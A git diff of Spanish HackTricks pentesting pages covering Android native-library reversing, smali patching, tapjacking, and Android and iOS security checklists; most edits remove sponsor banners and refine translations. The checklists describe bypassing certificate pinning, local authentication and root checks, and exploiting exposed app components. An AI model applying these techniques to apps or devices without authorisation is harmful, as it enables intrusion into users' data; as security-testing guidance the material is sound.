**Para más información consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de desensamblar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad. Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de desensamblar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad.
@ -39,7 +33,7 @@ Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente es
- **Aprendiendo Ensamblador ARM:** - **Aprendiendo Ensamblador ARM:**
- Sugerido para una comprensión más profunda de la arquitectura subyacente. - Sugerido para una comprensión más profunda de la arquitectura subyacente.
- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) de Azeria Labs es recomendado. - [Conceptos Básicos de Ensamblador ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) de Azeria Labs es recomendado.
- **Documentación de JNI y NDK:** - **Documentación de JNI y NDK:**
- [Especificación JNI de Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) - [Especificación JNI de Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Consejos de JNI de Android](https://developer.android.com/training/articles/perf-jni) - [Consejos de JNI de Android](https://developer.android.com/training/articles/perf-jni)
@ -47,10 +41,4 @@ Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente es
- **Depuración de Bibliotecas Nativas:** - **Depuración de Bibliotecas Nativas:**
- [Depurar Bibliotecas Nativas de Android Usando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) - [Depurar Bibliotecas Nativas de Android Usando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,17 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure> A veces es interesante modificar el código de la aplicación para acceder a información oculta para ti (quizás contraseñas o flags bien ofuscados). Entonces, podría ser interesante decompilar el apk, modificar el código y recompilarlo.
Profundiza tu experiencia en **Mobile Security** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén una certificación:
{% embed url="https://academy.8ksec.io/" %}
A veces es interesante modificar el código de la aplicación para acceder a información oculta para ti (quizás contraseñas o flags bien ofuscadas). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.
**Referencia de Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) **Referencia de Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
## Fast Way ## Forma Rápida
Usando **Visual Studio Code** y la extensión [APKLab](https://github.com/APKLab/APKLab), puedes **descompilar automáticamente**, modificar, **recompilar**, firmar e instalar la aplicación sin ejecutar ningún comando. Usando **Visual Studio Code** y la extensión [APKLab](https://github.com/APKLab/APKLab), puedes **decompilar automáticamente**, modificar, **recompilar**, firmar e instalar la aplicación sin ejecutar ningún comando.
Otro **script** que facilita mucho esta tarea es [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh) Otro **script** que facilita mucho esta tarea es [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Decompile the APK ## Decompilar el APK
Usando APKTool puedes acceder al **código smali y recursos**: Usando APKTool puedes acceder al **código smali y recursos**:
```bash ```bash
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12 move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V invoke-virtual {v12}, Landroid/widget/Toast;->show()V
``` ```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos a tu propio ritmo y obtén una certificación:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Información Básica** ## **Información Básica**
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oscurece visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\ **Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oscurece visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
@ -60,10 +56,7 @@ La mitigación es relativamente simple, ya que el desarrollador puede optar por
> A veces es esencial que una aplicación pueda verificar que una acción se está realizando con el pleno conocimiento y consentimiento del usuario, como conceder una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin que se dé cuenta, al ocultar el propósito previsto de la vista. Como remedio, el marco ofrece un mecanismo de filtrado de toques que se puede usar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles. > A veces es esencial que una aplicación pueda verificar que una acción se está realizando con el pleno conocimiento y consentimiento del usuario, como conceder una solicitud de permiso, realizar una compra o hacer clic en un anuncio. Desafortunadamente, una aplicación maliciosa podría intentar engañar al usuario para que realice estas acciones, sin que se dé cuenta, al ocultar el propósito previsto de la vista. Como remedio, el marco ofrece un mecanismo de filtrado de toques que se puede usar para mejorar la seguridad de las vistas que proporcionan acceso a funcionalidades sensibles.
> >
> Para habilitar el filtrado de toques, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oscurecida por otra ventana visible. Como resultado, la vista no recibirá toques siempre que aparezca un toast, un diálogo u otra ventana sobre la ventana de la vista. > Para habilitar el filtrado de toques, llama a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establece el atributo de diseño android:filterTouchesWhenObscured en true. Cuando está habilitado, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oscurecida por otra ventana visible. Como resultado, la vista no recibirá toques siempre que un toast, diálogo u otra ventana aparezca sobre la ventana de la vista.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,11 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
{% embed url="https://academy.8ksec.io/" %}
### [Aprender fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals) ### [Aprender fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals)
- [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review) - [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review)
- [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) - [ ] [Dalvik y Smali](android-app-pentesting/#dalvik--smali)
- [ ] [Puntos de entrada](android-app-pentesting/#application-entry-points) - [ ] [Puntos de entrada](android-app-pentesting/#application-entry-points)
- [ ] [Actividades](android-app-pentesting/#launcher-activity) - [ ] [Actividades](android-app-pentesting/#launcher-activity)
- [ ] [Esquemas de URL](android-app-pentesting/#url-schemes) - [ ] [Esquemas de URL](android-app-pentesting/#url-schemes)
@ -24,12 +19,12 @@ Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la s
- [ ] [Cómo usar ADB](android-app-pentesting/#adb-android-debug-bridge) - [ ] [Cómo usar ADB](android-app-pentesting/#adb-android-debug-bridge)
- [ ] [Cómo modificar Smali](android-app-pentesting/#smali) - [ ] [Cómo modificar Smali](android-app-pentesting/#smali)
### [Análisis Estático](android-app-pentesting/#static-analysis) ### [Análisis estático](android-app-pentesting/#static-analysis)
- [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), comprobar si el móvil está rooteado, si se está utilizando un emulador y realizar verificaciones de anti-manipulación. [Lee esto para más información](android-app-pentesting/#other-checks). - [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), verificar si el móvil está rooteado, si se está utilizando un emulador y realizar verificaciones de anti-manipulación. [Lee esto para más información](android-app-pentesting/#other-checks).
- [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben verificar si el móvil está rooteado y actuar en consecuencia. - [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben verificar si el móvil está rooteado y actuar en consecuencia.
- [ ] Buscar [cadenas interesantes](android-app-pentesting/#looking-for-interesting-info) (contraseñas, URLs, API, cifrado, puertas traseras, tokens, uuids de Bluetooth...). - [ ] Buscar [cadenas interesantes](android-app-pentesting/#looking-for-interesting-info) (contraseñas, URLs, API, cifrado, puertas traseras, tokens, UUIDs de Bluetooth...).
- [ ] Atención especial a las [APIs de firebase](android-app-pentesting/#firebase). - [ ] Prestar especial atención a las [APIs de firebase](android-app-pentesting/#firebase).
- [ ] [Leer el manifiesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) - [ ] [Leer el manifiesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] Verificar si la aplicación está en modo de depuración y tratar de "explotarla". - [ ] Verificar si la aplicación está en modo de depuración y tratar de "explotarla".
- [ ] Verificar si el APK permite copias de seguridad. - [ ] Verificar si el APK permite copias de seguridad.
@ -38,34 +33,29 @@ Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la s
- [ ] Servicios expuestos. - [ ] Servicios expuestos.
- [ ] Receptores de difusión. - [ ] Receptores de difusión.
- [ ] Esquemas de URL. - [ ] Esquemas de URL.
- [ ] ¿La aplicación [está guardando datos de manera insegura internamente o externamente](android-app-pentesting/#insecure-data-storage)? - [ ] ¿La aplicación [almacena datos de manera insegura internamente o externamente](android-app-pentesting/#insecure-data-storage)?
- [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿La aplicación [está utilizando algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? - [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿La aplicación [utiliza algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] ¿Todas las bibliotecas se compilaron utilizando la bandera PIE? - [ ] ¿Todas las bibliotecas se compilan utilizando la bandera PIE?
- [ ] No olvides que hay un montón de [analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarte mucho durante esta fase. - [ ] No olvides que hay un montón de [analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarte mucho durante esta fase.
### [Análisis Dinámico](android-app-pentesting/#dynamic-analysis) ### [Análisis dinámico](android-app-pentesting/#dynamic-analysis)
- [ ] Preparar el entorno ([en línea](android-app-pentesting/#online-dynamic-analysis), [VM local o física](android-app-pentesting/#local-dynamic-analysis)). - [ ] Preparar el entorno ([en línea](android-app-pentesting/#online-dynamic-analysis), [VM local o física](android-app-pentesting/#local-dynamic-analysis))
- [ ] ¿Hay alguna [filtración de datos no intencionada](android-app-pentesting/#unintended-data-leakage) (registros, copiar/pegar, registros de fallos)? - [ ] ¿Hay alguna [filtración de datos no intencionada](android-app-pentesting/#unintended-data-leakage) (registros, copiar/pegar, registros de fallos)?
- [ ] [Información confidencial guardada en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)? - [ ] ¿[Información confidencial guardada en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)?
- [ ] [Actividades expuestas explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? - [ ] ¿[Actividades expuestas explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [Proveedores de contenido explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? - [ ] ¿[Proveedores de contenido explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [Servicios expuestos explotables](android-app-pentesting/#exploiting-services)? - [ ] ¿[Servicios expuestos explotables](android-app-pentesting/#exploiting-services)?
- [ ] [Receptores de difusión explotables](android-app-pentesting/#exploiting-broadcast-receivers)? - [ ] ¿[Receptores de difusión explotables](android-app-pentesting/#exploiting-broadcast-receivers)?
- [ ] ¿La aplicación [transmite información en texto claro/utiliza algoritmos débiles](android-app-pentesting/#insufficient-transport-layer-protection)? ¿Es posible un MitM? - [ ] ¿La aplicación [transmite información en texto claro/utiliza algoritmos débiles](android-app-pentesting/#insufficient-transport-layer-protection)? ¿Es posible un MitM?
- [ ] [Inspeccionar tráfico HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic). - [ ] [Inspeccionar tráfico HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
- [ ] Este punto es realmente importante, porque si puedes capturar el tráfico HTTP puedes buscar vulnerabilidades web comunes (Hacktricks tiene mucha información sobre vulnerabilidades web). - [ ] Este punto es realmente importante, porque si puedes capturar el tráfico HTTP puedes buscar vulnerabilidades web comunes (Hacktricks tiene mucha información sobre vulnerabilidades web).
- [ ] Verificar posibles [Inyecciones del lado del cliente de Android](android-app-pentesting/#android-client-side-injections-and-others) (probablemente algún análisis de código estático ayudará aquí). - [ ] Verificar posibles [inyecciones del lado del cliente de Android](android-app-pentesting/#android-client-side-injections-and-others) (probablemente algún análisis de código estático ayudará aquí).
- [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsala para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...). - [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsala para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...)
### Algunas informaciones sobre ofuscación/deofuscación ### Algunas informaciones sobre ofuscación/deofuscación
- [ ] [Lee aquí](android-app-pentesting/#obfuscating-deobfuscating-code) - [ ] [Lee aquí](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,34 +1,26 @@
# iOS Pentesting Checklist # iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
### Preparación ### Preparación
- [ ] Lee [**iOS Basics**](ios-pentesting/ios-basics.md) - [ ] Lee [**iOS Basics**](ios-pentesting/ios-basics.md)
- [ ] Prepara tu entorno leyendo [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) - [ ] Prepara tu entorno leyendo [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
- [ ] Lee todas las secciones de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) para aprender acciones comunes para pentesting una aplicación iOS - [ ] Lee todas las secciones de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) para aprender acciones comunes para pentestear una aplicación iOS
### Almacenamiento de Datos ### Almacenamiento de Datos
- [ ] [**Los archivos Plist**](ios-pentesting/#plist) pueden ser utilizados para almacenar información sensible. - [ ] [**Plist files**](ios-pentesting/#plist) pueden ser utilizados para almacenar información sensible.
- [ ] [**Core Data**](ios-pentesting/#core-data) (base de datos SQLite) puede almacenar información sensible. - [ ] [**Core Data**](ios-pentesting/#core-data) (base de datos SQLite) puede almacenar información sensible.
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de datos SQLite) puede almacenar información sensible. - [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de datos SQLite) puede almacenar información sensible.
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mala configuración. - [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mala configuración.
- [ ] [**Las bases de datos Realm**](ios-pentesting/#realm-databases) pueden almacenar información sensible. - [ ] [**Realm databases**](ios-pentesting/#realm-databases) pueden almacenar información sensible.
- [ ] [**Las bases de datos Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) pueden almacenar información sensible. - [ ] [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) pueden almacenar información sensible.
- [ ] [**Cookies binarias**](ios-pentesting/#cookies) pueden almacenar información sensible. - [ ] [**Binary cookies**](ios-pentesting/#cookies) pueden almacenar información sensible.
- [ ] [**Datos de caché**](ios-pentesting/#cache) pueden almacenar información sensible. - [ ] [**Cache data**](ios-pentesting/#cache) puede almacenar información sensible.
- [ ] [**Instantáneas automáticas**](ios-pentesting/#snapshots) pueden guardar información visual sensible. - [ ] [**Automatic snapshots**](ios-pentesting/#snapshots) pueden guardar información visual sensible.
- [ ] [**Keychain**](ios-pentesting/#keychain) se utiliza generalmente para almacenar información sensible que puede quedar al revender el teléfono. - [ ] [**Keychain**](ios-pentesting/#keychain) se utiliza generalmente para almacenar información sensible que puede quedar al revender el teléfono.
- [ ] En resumen, solo **verifica la información sensible guardada por la aplicación en el sistema de archivos.** - [ ] En resumen, solo **verifica si hay información sensible guardada por la aplicación en el sistema de archivos**.
### Teclados ### Teclados
@ -41,45 +33,45 @@ Obtén acceso hoy:
### Copias de Seguridad ### Copias de Seguridad
- [ ] [**Las copias de seguridad**](ios-pentesting/#backups) pueden ser utilizadas para **acceder a la información sensible** guardada en el sistema de archivos (verifica el punto inicial de esta lista de verificación). - [ ] [**Backups**](ios-pentesting/#backups) pueden ser utilizados para **acceder a la información sensible** guardada en el sistema de archivos (verifica el punto inicial de esta lista de verificación).
- [ ] Además, [**las copias de seguridad**](ios-pentesting/#backups) pueden ser utilizadas para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y como la **configuración modificada** es **cargada**, alguna (seguridad) **funcionalidad** puede ser **eludida**. - [ ] Además, [**backups**](ios-pentesting/#backups) pueden ser utilizados para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y como la **configuración modificada** es **cargada**, algunas (de seguridad) **funcionalidades** pueden ser **eludidas**.
### **Memoria de Aplicaciones** ### **Memoria de Aplicaciones**
- [ ] Verifica la información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/#testing-memory-for-sensitive-data). - [ ] Verifica si hay información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/#testing-memory-for-sensitive-data).
### **Criptografía Rota** ### **Criptografía Rota**
- [ ] Verifica si puedes encontrar [**contraseñas utilizadas para criptografía**](ios-pentesting/#broken-cryptography). - [ ] Verifica si puedes encontrar [**contraseñas utilizadas para criptografía**](ios-pentesting/#broken-cryptography).
- [ ] Verifica el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/almacenar datos sensibles. - [ ] Verifica el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/almacenar datos sensibles.
- [ ] [**Engancha y monitorea funciones de criptografía**](ios-pentesting/#broken-cryptography). - [ ] [**Hook y monitorea funciones de criptografía**](ios-pentesting/#broken-cryptography).
### **Autenticación Local** ### **Autenticación Local**
- [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo está funcionando la autenticación. - [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo está funcionando la autenticación.
- [ ] Si está utilizando el [**Marco de Autenticación Local**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido. - [ ] Si está utilizando el [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido.
- [ ] Si está utilizando una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), podrías crear un script personalizado de frida. - [ ] Si está utilizando una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), podrías crear un script personalizado de frida.
### Exposición de Funcionalidad Sensible a Través de IPC ### Exposición de Funcionalidades Sensibles a Través de IPC
- [**Manejadores de URI personalizados / Deeplinks / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) - [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Verifica si la aplicación está **registrando algún protocolo/esquema**. - [ ] Verifica si la aplicación está **registrando algún protocolo/esquema**.
- [ ] Verifica si la aplicación está **registrando para usar** algún protocolo/esquema. - [ ] Verifica si la aplicación está **registrando para usar** algún protocolo/esquema.
- [ ] Verifica si la aplicación **espera recibir algún tipo de información sensible** del esquema personalizado que puede ser **interceptada** por otra aplicación que registre el mismo esquema. - [ ] Verifica si la aplicación **espera recibir algún tipo de información sensible** del esquema personalizado que puede ser **interceptada** por otra aplicación que registre el mismo esquema.
- [ ] Verifica si la aplicación **no está verificando y sanitizando** la entrada de los usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**. - [ ] Verifica si la aplicación **no está verificando y sanitizando** la entrada de los usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**.
- [ ] Verifica si la aplicación **expone alguna acción sensible** que puede ser llamada desde cualquier lugar a través del esquema personalizado. - [ ] Verifica si la aplicación **expone alguna acción sensible** que puede ser llamada desde cualquier lugar a través del esquema personalizado.
- [**Enlaces Universales**](ios-pentesting/#universal-links) - [**Universal Links**](ios-pentesting/#universal-links)
- [ ] Verifica si la aplicación está **registrando algún protocolo/esquema universal**. - [ ] Verifica si la aplicación está **registrando algún protocolo/esquema universal**.
- [ ] Verifica el archivo `apple-app-site-association`. - [ ] Verifica el archivo `apple-app-site-association`.
- [ ] Verifica si la aplicación **no está verificando y sanitizando** la entrada de los usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**. - [ ] Verifica si la aplicación **no está verificando y sanitizando** la entrada de los usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**.
- [ ] Verifica si la aplicación **expone alguna acción sensible** que puede ser llamada desde cualquier lugar a través del esquema personalizado. - [ ] Verifica si la aplicación **expone alguna acción sensible** que puede ser llamada desde cualquier lugar a través del esquema personalizado.
- [**Compartición de UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) - [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Verifica si la aplicación puede recibir UIActivities y si es posible explotar alguna vulnerabilidad con una actividad especialmente diseñada. - [ ] Verifica si la aplicación puede recibir UIActivities y si es posible explotar alguna vulnerabilidad con una actividad especialmente diseñada.
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) - [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] Verifica si la aplicación **está copiando algo al portapapeles general**. - [ ] Verifica si la aplicación **está copiando algo al portapapeles general**.
- [ ] Verifica si la aplicación **está utilizando los datos del portapapeles general para algo**. - [ ] Verifica si la aplicación **está utilizando los datos del portapapeles general para algo**.
- [ ] Monitorea el portapapeles para ver si se **copia algún dato sensible**. - [ ] Monitorea el portapapeles para ver si se **copia algún dato sensible**.
- [**Extensiones de Aplicaciones**](ios-pentesting/ios-app-extensions.md) - [**App Extensions**](ios-pentesting/ios-app-extensions.md)
- [ ] ¿La aplicación **está utilizando alguna extensión**? - [ ] ¿La aplicación **está utilizando alguna extensión**?
- [**WebViews**](ios-pentesting/ios-webviews.md) - [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] Verifica qué tipo de webviews se están utilizando. - [ ] Verifica qué tipo de webviews se están utilizando.
@ -90,7 +82,7 @@ Obtén acceso hoy:
### Comunicación de Red ### Comunicación de Red
- [ ] Realiza un [**MitM a la comunicación**](ios-pentesting/#network-communication) y busca vulnerabilidades web. - [ ] Realiza un [**MitM a la comunicación**](ios-pentesting/#network-communication) y busca vulnerabilidades web.
- [ ] Verifica si se verifica el [**nombre de host del certificado**](ios-pentesting/#hostname-check). - [ ] Verifica si se está **verificando el nombre del host del certificado**](ios-pentesting/#hostname-check).
- [ ] Verifica/Elude [**Certificate Pinning**](ios-pentesting/#certificate-pinning). - [ ] Verifica/Elude [**Certificate Pinning**](ios-pentesting/#certificate-pinning).
### **Varios** ### **Varios**
@ -99,11 +91,3 @@ Obtén acceso hoy:
- [ ] Verifica si hay [**bibliotecas de terceros maliciosas**](ios-pentesting/#third-parties). - [ ] Verifica si hay [**bibliotecas de terceros maliciosas**](ios-pentesting/#third-parties).
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,13 +1,5 @@
# iOS Pentesting # iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## iOS Basics ## iOS Basics
@ -40,37 +32,42 @@ basic-ios-testing-operations.md
### Basic Static Analysis ### Basic Static Analysis
Se recomienda usar la herramienta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar un Análisis Estático automático al archivo IPA. Algunos descompiladores interesantes de iOS - archivos IPA:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
Se recomienda usar la herramienta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar un Análisis Estático automático del archivo IPA.
Identificación de **protecciones presentes en el binario**: Identificación de **protecciones presentes en el binario**:
- **PIE (Position Independent Executable)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial. - **PIE (Position Independent Executable)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial.
```bash ```bash
otool -hv <app-binary> | grep PIE # Debe incluir la bandera PIE otool -hv <app-binary> | grep PIE # Debería incluir la bandera PIE
``` ```
- **Stack Canaries**: Para validar la integridad de la pila, se coloca un valor de canario en la pila antes de llamar a una función y se valida nuevamente una vez que la función termina. - **Stack Canaries**: Para validar la integridad de la pila, se coloca un valor de canario en la pila antes de llamar a una función y se valida nuevamente una vez que la función termina.
```bash ```bash
otool -I -v <app-binary> | grep stack_chk # Debe incluir los símbolos: stack_chk_guard y stack_chk_fail otool -I -v <app-binary> | grep stack_chk # Debería incluir los símbolos: stack_chk_guard y stack_chk_fail
``` ```
- **ARC (Automatic Reference Counting)**: Para prevenir fallos comunes de corrupción de memoria - **ARC (Automatic Reference Counting)**: Para prevenir fallos comunes de corrupción de memoria
```bash ```bash
otool -I -v <app-binary> | grep objc_release # Debe incluir el símbolo _objc_release otool -I -v <app-binary> | grep objc_release # Debería incluir el símbolo _objc_release
``` ```
